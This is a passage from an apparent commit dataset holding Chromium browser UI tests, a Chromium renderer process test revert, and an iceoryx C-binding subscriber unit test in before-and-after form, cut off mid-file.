consistently on linux views.\n\/\/ See http:\/\/crbug.com\/85763.\n#if defined (OS_CHROMEOS)\n#define MAYBE_WindowOpenClose FLAKY_WindowOpenClose\n#elif defined(OS_LINUX) && defined(TOOLKIT_VIEWS)\n#define MAYBE_WindowOpenClose FAILS_WindowOpenClose\n#else\n#define MAYBE_WindowOpenClose WindowOpenClose\n#endif\n\nTEST_F(VisibleBrowserTest, MAYBE_WindowOpenClose) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"window.close.html\");\n\n NavigateToURLBlockUntilNavigationsComplete(\n net::FilePathToFileURL(test_file), 2);\n EXPECT_EQ(L\"Title Of Awesomeness\", GetActiveTabTitle());\n}\n\nclass ShowModalDialogTest : public UITest {\n public:\n ShowModalDialogTest() {\n launch_arguments_.AppendSwitch(switches::kDisablePopupBlocking);\n }\n};\n\nTEST_F(ShowModalDialogTest, BasicTest) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"showmodaldialog.html\");\n\n \/\/ This navigation should show a modal dialog that will be immediately\n \/\/ closed, but the fact that it was shown should be recorded.\n NavigateToURL(net::FilePathToFileURL(test_file));\n ASSERT_TRUE(automation()->WaitForWindowCountToBecome(1));\n\n \/\/ Verify that we set a mark on successful dialog show.\n scoped_refptr<BrowserProxy> browser = automation()->GetBrowserWindow(0);\n ASSERT_TRUE(browser.get());\n scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n ASSERT_TRUE(tab.get());\n std::wstring title;\n ASSERT_TRUE(tab->GetTabTitle(&title));\n ASSERT_EQ(L\"SUCCESS\", title);\n}\n\nclass SecurityTest : public UITest {\n};\n\nTEST_F(SecurityTest, DisallowFileUrlUniversalAccessTest) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"fileurl_universalaccess.html\");\n\n GURL url = net::FilePathToFileURL(test_file);\n ASSERT_TRUE(tab->NavigateToURL(url));\n\n std::string value = WaitUntilCookieNonEmpty(tab.get(), url,\n \"status\", TestTimeouts::action_max_timeout_ms());\n ASSERT_STREQ(\"Disallowed\", value.c_str());\n}\n\n#if !defined(OS_MACOSX)\nclass KioskModeTest : public UITest {\n public:\n KioskModeTest() {\n launch_arguments_.AppendSwitch(switches::kKioskMode);\n }\n};\n\nTEST_F(KioskModeTest, EnableKioskModeTest) {\n \/\/ Load a local file.\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title1.html\");\n\n \/\/ Verify that the window is present.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n\n \/\/ Check if browser is in fullscreen mode.\n bool is_visible;\n ASSERT_TRUE(browser->IsFullscreen(&is_visible));\n EXPECT_TRUE(is_visible);\n ASSERT_TRUE(browser->IsFullscreenBubbleVisible(&is_visible));\n EXPECT_FALSE(is_visible);\n}\n#endif \/\/ !defined(OS_MACOSX)\n\n#if defined(OS_WIN)\n\/\/ This test verifies that Chrome can be launched with a user-data-dir path\n\/\/ which contains non ASCII characters.\nclass LaunchBrowserWithNonAsciiUserDatadir : public UITest {\npublic:\n void SetUp() {\n ASSERT_TRUE(temp_dir_.CreateUniqueTempDir());\n FilePath tmp_profile = temp_dir_.path().AppendASCII(\"tmp_profile\");\n tmp_profile = tmp_profile.Append(L\"Test Chrome G�raldine\");\n\n ASSERT_TRUE(file_util::CreateDirectory(tmp_profile));\n\n launch_arguments_.AppendSwitchPath(switches::kUserDataDir, tmp_profile);\n }\n\n bool LaunchAppWithProfile() {\n UITest::SetUp();\n return true;\n }\n\npublic:\n ScopedTempDir temp_dir_;\n};\n\nTEST_F(LaunchBrowserWithNonAsciiUserDatadir, TestNonAsciiUserDataDir) {\n ASSERT_TRUE(LaunchAppWithProfile());\n \/\/ Verify that the window is present.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n}\n#endif \/\/ defined(OS_WIN)\n\n\/\/ Tests to ensure that the browser continues running in the background after\n\/\/ the last window closes.\nclass RunInBackgroundTest : public UITest {\n public:\n RunInBackgroundTest() {\n launch_arguments_.AppendSwitch(switches::kKeepAliveForTest);\n }\n};\n\nTEST_F(RunInBackgroundTest, RunInBackgroundBasicTest) {\n \/\/ Close the browser window, then open a new one - the browser should keep\n \/\/ running.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n int window_count;\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(1, window_count);\n ASSERT_TRUE(browser->RunCommand(IDC_CLOSE_WINDOW));\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(0, window_count);\n ASSERT_TRUE(automation()->OpenNewBrowserWindow(Browser::TYPE_TABBED, true));\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(1, window_count);\n \/\/ Set the shutdown type to 'SESSION_ENDING' since we are running in\n \/\/ background mode and neither closing all the windows nor quitting will\n \/\/ shut down the browser.\n set_shutdown_type(ProxyLauncher::SESSION_ENDING);\n}\n\n\/\/ Tests to ensure that the browser continues running in the background after\n\/\/ the last window closes.\nclass NoStartupWindowTest : public UITest {\n public:\n NoStartupWindowTest() {\n launch_arguments_.AppendSwitch(switches::kNoStartupWindow);\n launch_arguments_.AppendSwitch(switches::kKeepAliveForTest);\n }\n};\n\nTEST_F(NoStartupWindowTest, NoStartupWindowBasicTest) {\n \/\/ No browser window should be started by default.\n int window_count;\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(0, window_count);\n\n \/\/ Starting a browser window should work just fine.\n ASSERT_TRUE(automation()->OpenNewBrowserWindow(Browser::TYPE_TABBED, true));\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(1, window_count);\n}\n\n\/\/ This test needs to be placed outside the anonymouse namespace because we\n\/\/ need to access private type of Browser.\nclass AppModeTest : public UITest {\n public:\n AppModeTest() {\n \/\/ Load a local file.\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title1.html\");\n GURL test_file_url(net::FilePathToFileURL(test_file));\n\n launch_arguments_.AppendSwitchASCII(switches::kApp, test_file_url.spec());\n }\n};\n\nTEST_F(AppModeTest, EnableAppModeTest) {\n \/\/ Test that an application browser window loads correctly.\n\n \/\/ Verify that the window is present.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n\n \/\/ Verify the browser is in application mode.\n bool is_application;\n ASSERT_TRUE(browser->IsApplication(&is_application));\n EXPECT_TRUE(is_application);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/message_loop.h\"\n#include \"base\/process_util.h\"\n#include \"base\/test\/multiprocess_test.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/main_function_params.h\"\n#include \"ipc\/ipc_channel.h\"\n#include \"ipc\/ipc_switches.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/multiprocess_func_list.h\"\n\n\/\/ TODO(port): Bring up this test this on other platforms.\n#if defined(OS_POSIX)\n\nusing base::ProcessHandle;\n\nconst char kRendererTestChannelName[] = \"test\";\n\nextern int RendererMain(const MainFunctionParams& parameters);\n\n\/\/ TODO(port): The IPC Channel tests have a class with extremely similar\n\/\/ functionality, we should combine them.\nclass RendererMainTest : public base::MultiProcessTest {\n protected:\n RendererMainTest() {}\n\n \/\/ Create a new MessageLoopForIO For each test.\n virtual void SetUp();\n virtual void TearDown();\n\n \/\/ Spawns a child process of the specified type\n base::ProcessHandle SpawnChild(const std::string& procname,\n IPC::Channel* channel);\n\n \/\/ Created around each test instantiation.\n MessageLoopForIO *message_loop_;\n};\n\nvoid RendererMainTest::SetUp() {\n MultiProcessTest::SetUp();\n\n \/\/ Construct a fresh IO Message loop for the duration of each test.\n message_loop_ = new MessageLoopForIO();\n}\n\nvoid RendererMainTest::TearDown() {\n delete message_loop_;\n message_loop_ = NULL;\n\n MultiProcessTest::TearDown();\n}\n\nProcessHandle RendererMainTest::SpawnChild(const std::string& procname,\n IPC::Channel* channel) {\n base::file_handle_mapping_vector fds_to_map;\n const int ipcfd = channel->GetClientFileDescriptor();\n if (ipcfd > -1) {\n fds_to_map.push_back(std::pair<int,int>(ipcfd, 3));\n }\n\n return MultiProcessTest::SpawnChild(procname, fds_to_map, false);\n}\n\n\/\/ Listener class that kills the message loop when it connects.\nclass SuicidalListener : public IPC::Channel::Listener {\n public:\n explicit SuicidalListener(bool* suicide_success)\n : suicide_success_(suicide_success) {}\n\n void OnChannelConnected(int32 peer_pid) {\n *suicide_success_ = true;\n MessageLoop::current()->Quit();\n }\n\n void OnMessageReceived(const IPC::Message& message) {\n \/\/ We shouldn't receive any messages\n ASSERT_TRUE(false);\n }\n\n \/\/ A flag that we set when we have successfully suicided.\n bool* suicide_success_;\n};\n\nMULTIPROCESS_TEST_MAIN(SimpleRenderer) {\n SandboxInitWrapper dummy_sandbox_init;\n CommandLine cl(*CommandLine::ForCurrentProcess());\n cl.AppendSwitchASCII(switches::kProcessChannelID, kRendererTestChannelName);\n\n MainFunctionParams dummy_params(cl, dummy_sandbox_init, NULL);\n return RendererMain(dummy_params);\n}\n\nTEST_F(RendererMainTest, CreateDestroy) {\n bool suicide_success = false;\n SuicidalListener listener(&suicide_success);\n IPC::Channel control_channel(kRendererTestChannelName,\n IPC::Channel::MODE_SERVER,\n &listener);\n base::ProcessHandle renderer_pid = SpawnChild(\"SimpleRenderer\",\n &control_channel);\n\n ASSERT_TRUE(control_channel.Connect());\n\n \/\/ The SuicidalListener *should* cause the following MessageLoop run\n \/\/ to quit, but just in case it doesn't, insert a QuitTask at the back\n \/\/ of the queue.\n MessageLoop::current()->PostDelayedTask(FROM_HERE, new MessageLoop::QuitTask,\n TestTimeouts::action_timeout_ms());\n MessageLoop::current()->Run();\n ASSERT_TRUE(suicide_success);\n\n \/\/ The renderer should exit when we close the channel.\n control_channel.Close();\n\n EXPECT_TRUE(base::WaitForSingleProcess(renderer_pid,\n TestTimeouts::action_timeout_ms()));\n}\n#endif \/\/ defined(OS_POSIX)\n<commit_msg>Revert most of my recent changes to RendererMainTest.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/message_loop.h\"\n#include \"base\/process_util.h\"\n#include \"base\/test\/multiprocess_test.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/main_function_params.h\"\n#include \"ipc\/ipc_channel.h\"\n#include \"ipc\/ipc_switches.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/multiprocess_func_list.h\"\n\n\/\/ TODO(port): Bring up this test this on other platforms.\n#if defined(OS_POSIX)\n\nusing base::ProcessHandle;\n\nconst char kRendererTestChannelName[] = \"test\";\n\nextern int RendererMain(const MainFunctionParams& parameters);\n\n\/\/ TODO(port): The IPC Channel tests have a class with extremely similar\n\/\/ functionality, we should combine them.\nclass RendererMainTest : public base::MultiProcessTest {\n protected:\n RendererMainTest() {}\n\n \/\/ Create a new MessageLoopForIO For each test.\n virtual void SetUp();\n virtual void TearDown();\n\n \/\/ Spawns a child process of the specified type\n base::ProcessHandle SpawnChild(const std::string& procname,\n IPC::Channel* channel);\n\n \/\/ Created around each test instantiation.\n MessageLoopForIO *message_loop_;\n};\n\nvoid RendererMainTest::SetUp() {\n MultiProcessTest::SetUp();\n\n \/\/ Construct a fresh IO Message loop for the duration of each test.\n message_loop_ = new MessageLoopForIO();\n}\n\nvoid RendererMainTest::TearDown() {\n delete message_loop_;\n message_loop_ = NULL;\n\n MultiProcessTest::TearDown();\n}\n\nProcessHandle RendererMainTest::SpawnChild(const std::string& procname,\n IPC::Channel* channel) {\n base::file_handle_mapping_vector fds_to_map;\n const int ipcfd = channel->GetClientFileDescriptor();\n if (ipcfd > -1) {\n fds_to_map.push_back(std::pair<int,int>(ipcfd, 3));\n }\n\n return MultiProcessTest::SpawnChild(procname, fds_to_map, false);\n}\n\n\/\/ Listener class that kills the message loop when it connects.\nclass SuicidalListener : public IPC::Channel::Listener {\n public:\n void OnChannelConnected(int32 peer_pid) {\n MessageLoop::current()->Quit();\n }\n\n void OnMessageReceived(const IPC::Message& message) {\n \/\/ We shouldn't receive any messages\n ASSERT_TRUE(false);\n }\n};\n\nMULTIPROCESS_TEST_MAIN(SimpleRenderer) {\n SandboxInitWrapper dummy_sandbox_init;\n CommandLine cl(*CommandLine::ForCurrentProcess());\n cl.AppendSwitchASCII(switches::kProcessChannelID, kRendererTestChannelName);\n\n MainFunctionParams dummy_params(cl, dummy_sandbox_init, NULL);\n return RendererMain(dummy_params);\n}\n\nTEST_F(RendererMainTest, CreateDestroy) {\n SuicidalListener listener;\n IPC::Channel control_channel(kRendererTestChannelName,\n IPC::Channel::MODE_SERVER,\n &listener);\n base::ProcessHandle renderer_pid = SpawnChild(\"SimpleRenderer\",\n &control_channel);\n\n ASSERT_TRUE(control_channel.Connect());\n\n MessageLoop::current()->PostDelayedTask(FROM_HERE, new MessageLoop::QuitTask,\n TestTimeouts::action_timeout_ms());\n MessageLoop::current()->Run();\n\n \/\/ The renderer should exit when we close the channel.\n control_channel.Close();\n\n EXPECT_TRUE(base::WaitForSingleProcess(renderer_pid,\n TestTimeouts::action_timeout_ms()));\n}\n#endif \/\/ defined(OS_POSIX)\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2020 by Robert Bosch GmbH, Apex.AI Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iceoryx_binding_c\/internal\/cpp2c_subscriber.hpp\"\n#include \"iceoryx_binding_c\/types.h\"\n#include \"iceoryx_posh\/internal\/mepoo\/memory_manager.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_queue_popper.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_queue_pusher.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/ports\/subscriber_port_single_producer.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/ports\/subscriber_port_user.hpp\"\n#include \"iceoryx_posh\/mepoo\/mepoo_config.hpp\"\n#include \"mocks\/wait_set_mock.hpp\"\n\nusing namespace iox;\nusing namespace iox::popo;\nusing namespace iox::capro;\nusing namespace iox::mepoo;\nusing namespace iox::cxx;\nusing namespace iox::posix;\n\nextern \"C\" {\n#include \"iceoryx_binding_c\/subscriber.h\"\n}\n\n#include \"test.hpp\"\n\nusing namespace ::testing;\n\nclass iox_sub_test : public Test\n{\n public:\n const iox::capro::ServiceDescription TEST_SERVICE_DESCRIPTION{\"a\", \"b\", \"c\"};\n\n protected:\n iox_sub_test()\n {\n m_mempoolconf.addMemPool({CHUNK_SIZE, NUM_CHUNKS_IN_POOL});\n m_memoryManager.configureMemoryManager(m_mempoolconf, &m_memoryAllocator, &m_memoryAllocator);\n m_subscriber->m_portData = &m_portPtr;\n }\n\n void SetUp()\n {\n m_triggerCallbackLatestArgument = nullptr;\n }\n\n void TearDown()\n {\n }\n\n void Subscribe(SubscriberPortData* ptr)\n {\n uint64_t queueCapacity = MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(ptr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::ACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(ptr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n }\n\n static void triggerCallback(iox_sub_t sub)\n {\n m_triggerCallbackLatestArgument = sub;\n }\n\n static iox_sub_t m_triggerCallbackLatestArgument;\n static constexpr size_t MEMORY_SIZE = 1024 * 1024 * 100;\n uint8_t m_memory[MEMORY_SIZE];\n static constexpr uint32_t NUM_CHUNKS_IN_POOL = MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY + 2;\n static constexpr uint32_t CHUNK_SIZE = 128;\n\n Allocator m_memoryAllocator{m_memory, MEMORY_SIZE};\n MePooConfig m_mempoolconf;\n MemoryManager m_memoryManager;\n\n iox::cxx::GenericRAII m_uniqueRouDiId{[] { iox::popo::internal::setUniqueRouDiId(0); },\n [] { iox::popo::internal::unsetUniqueRouDiId(); }};\n iox::popo::SubscriberPortData m_portPtr{\n TEST_SERVICE_DESCRIPTION, \"myApp\", iox::cxx::VariantQueueTypes::SoFi_SingleProducerSingleConsumer};\n ChunkQueuePusher<SubscriberPortData::ChunkQueueData_t> m_chunkPusher{&m_portPtr.m_chunkReceiverData};\n std::unique_ptr<cpp2c_Subscriber> m_subscriber{new cpp2c_Subscriber};\n iox_sub_t m_sut = m_subscriber.get();\n\n ConditionVariableData m_condVar;\n std::unique_ptr<WaitSetMock> m_waitSet{new WaitSetMock(&m_condVar)};\n};\n\niox_sub_t iox_sub_test::m_triggerCallbackLatestArgument = nullptr;\n\nTEST_F(iox_sub_test, initialStateNotSubscribed)\n{\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_NOT_SUBSCRIBED);\n}\n\nTEST_F(iox_sub_test, offerLeadsToSubscibeRequestedState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_SUBSCRIBE_REQUESTED);\n}\n\nTEST_F(iox_sub_test, NACKResponseLeadsToSubscribeWaitForOfferState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::NACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(&m_portPtr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_WAIT_FOR_OFFER);\n}\n\nTEST_F(iox_sub_test, ACKResponseLeadsToSubscribedState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::ACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(&m_portPtr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_SUBSCRIBED);\n}\n\nTEST_F(iox_sub_test, UnsubscribeLeadsToUnscribeRequestedState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::ACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(&m_portPtr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n\n iox_sub_unsubscribe(m_sut);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_UNSUBSCRIBE_REQUESTED);\n}\n\nTEST_F(iox_sub_test, initialStateNoChunksAvailable)\n{\n const void* chunk = nullptr;\n EXPECT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_NO_CHUNK_RECEIVED);\n}\n\nTEST_F(iox_sub_test, receiveChunkWhenThereIsOne)\n{\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n const void* chunk = nullptr;\n EXPECT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_SUCCESS);\n}\n\nTEST_F(iox_sub_test, receiveChunkWithContent)\n{\n this->Subscribe(&m_portPtr);\n struct data_t\n {\n int value;\n };\n\n auto sharedChunk = m_memoryManager.getChunk(100);\n static_cast<data_t*>(sharedChunk.getPayload())->value = 1234;\n m_chunkPusher.tryPush(sharedChunk);\n\n const void* chunk = nullptr;\n\n ASSERT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_SUCCESS);\n EXPECT_THAT(static_cast<const data_t*>(chunk)->value, Eq(1234));\n}\n\nTEST_F(iox_sub_test, receiveChunkWhenToManyChunksAreHold)\n{\n this->Subscribe(&m_portPtr);\n const void* chunk = nullptr;\n for (uint64_t i = 0; i < MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY + 1; ++i)\n {\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n iox_sub_get_chunk(m_sut, &chunk);\n }\n\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n EXPECT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_TOO_MANY_CHUNKS_HELD_IN_PARALLEL);\n}\n\nTEST_F(iox_sub_test, releaseChunkWorks)\n{\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n const void* chunk = nullptr;\n iox_sub_get_chunk(m_sut, &chunk);\n\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(1u));\n iox_sub_release_chunk(m_sut, chunk);\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(0u));\n}\n\nTEST_F(iox_sub_test, releaseChunkQueuedChunksWorks)\n{\n this->Subscribe(&m_portPtr);\n for (uint64_t i = 0; i < MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY; ++i)\n {\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n }\n\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY));\n iox_sub_release_queued_chunks(m_sut);\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(0u));\n}\n\nTEST_F(iox_sub_test, initialStateHasNewChunksFalse)\n{\n EXPECT_FALSE(iox_sub_has_new_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, receivingChunkLeadsToHasNewChunksTrue)\n{\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n EXPECT_TRUE(iox_sub_has_new_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, initialStateHasNoLostChunks)\n{\n EXPECT_FALSE(iox_sub_has_lost_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, sendingTooMuchLeadsToLostChunks)\n{\n this->Subscribe(&m_portPtr);\n for (uint64_t i = 0; i < DefaultChunkQueueConfig::MAX_QUEUE_CAPACITY + 1; ++i)\n {\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n }\n\n EXPECT_TRUE(iox_sub_has_lost_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, attachingToWaitSetWorks)\n{\n EXPECT_EQ(iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL),\n WaitSetResult_SUCCESS);\n EXPECT_EQ(m_waitSet->size(), 1U);\n}\n\nTEST_F(iox_sub_test, attachingToAnotherWaitsetCleansupAtOriginalWaitset)\n{\n WaitSetMock m_waitSet2{&m_condVar};\n iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL);\n\n EXPECT_EQ(iox_sub_attach_to_waitset(m_sut, &m_waitSet2, SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL),\n WaitSetResult_SUCCESS);\n EXPECT_EQ(m_waitSet->size(), 0U);\n EXPECT_EQ(m_waitSet2.size(), 1U);\n}\n\nTEST_F(iox_sub_test, detachingFromWaitSetWorks)\n{\n iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL);\n iox_sub_detach_event(m_sut, SubscriberEvent_HAS_NEW_SAMPLES);\n EXPECT_EQ(m_waitSet->size(), 0U);\n}\n\nTEST_F(iox_sub_test, hasNewSamplesTriggersWaitSetWithCorrectTriggerId)\n{\n iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 587, NULL);\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n auto triggerVector = m_waitSet->wait();\n\n ASSERT_EQ(triggerVector.size(), 1U);\n EXPECT_EQ(triggerVector[0].getTriggerId(), 587U);\n}\n\nTEST_F(iox_sub_test, hasNewSamplesTriggersWaitSetWithCorrectCallback)\n{\n iox_sub_attach_to_waitset(\n m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, iox_sub_test::triggerCallback);\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n auto triggerVector = m_waitSet->wait();\n\n ASSERT_EQ(triggerVector.size(), 1U);\n triggerVector[0]();\n EXPECT_EQ(m_triggerCallbackLatestArgument, m_sut);\n}\n\nTEST_F(iox_sub_test, deinitSubscriberDetachesTriggerFromWaitSet)\n{\n iox_sub_attach_to_waitset(\n m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, iox_sub_test::triggerCallback);\n\n iox_sub_deinit(m_sut);\n\n EXPECT_EQ(m_waitSet->size(), 0U);\n m_subscriber.reset();\n m_sut = nullptr;\n}\n<commit_msg>iox-#14 fix subscriber test take 2<commit_after>\/\/ Copyright (c) 2020 by Robert Bosch GmbH, Apex.AI Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iceoryx_binding_c\/internal\/cpp2c_subscriber.hpp\"\n#include \"iceoryx_binding_c\/types.h\"\n#include \"iceoryx_posh\/internal\/mepoo\/memory_manager.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_queue_popper.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_queue_pusher.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/ports\/subscriber_port_single_producer.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/ports\/subscriber_port_user.hpp\"\n#include \"iceoryx_posh\/mepoo\/mepoo_config.hpp\"\n#include \"mocks\/wait_set_mock.hpp\"\n\nusing namespace iox;\nusing namespace iox::popo;\nusing namespace iox::capro;\nusing namespace iox::mepoo;\nusing namespace iox::cxx;\nusing namespace iox::posix;\n\nextern \"C\" {\n#include \"iceoryx_binding_c\/subscriber.h\"\n}\n\n#include \"test.hpp\"\n\nusing namespace ::testing;\n\nclass iox_sub_test : public Test\n{\n public:\n const iox::capro::ServiceDescription TEST_SERVICE_DESCRIPTION{\"a\", \"b\", \"c\"};\n\n protected:\n iox_sub_test()\n {\n m_mempoolconf.addMemPool({CHUNK_SIZE, NUM_CHUNKS_IN_POOL});\n m_memoryManager.configureMemoryManager(m_mempoolconf, &m_memoryAllocator, &m_memoryAllocator);\n m_subscriber->m_portData = &m_portPtr;\n }\n\n void SetUp()\n {\n m_triggerCallbackLatestArgument = nullptr;\n }\n\n void TearDown()\n {\n }\n\n void Subscribe(SubscriberPortData* ptr)\n {\n uint64_t queueCapacity = MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(ptr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::ACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(ptr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n }\n\n static void triggerCallback(iox_sub_t sub)\n {\n m_triggerCallbackLatestArgument = sub;\n }\n\n static iox_sub_t m_triggerCallbackLatestArgument;\n static constexpr size_t MEMORY_SIZE = 1024 * 1024 * 100;\n uint8_t m_memory[MEMORY_SIZE];\n static constexpr uint32_t NUM_CHUNKS_IN_POOL = MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY + 2;\n static constexpr uint32_t CHUNK_SIZE = 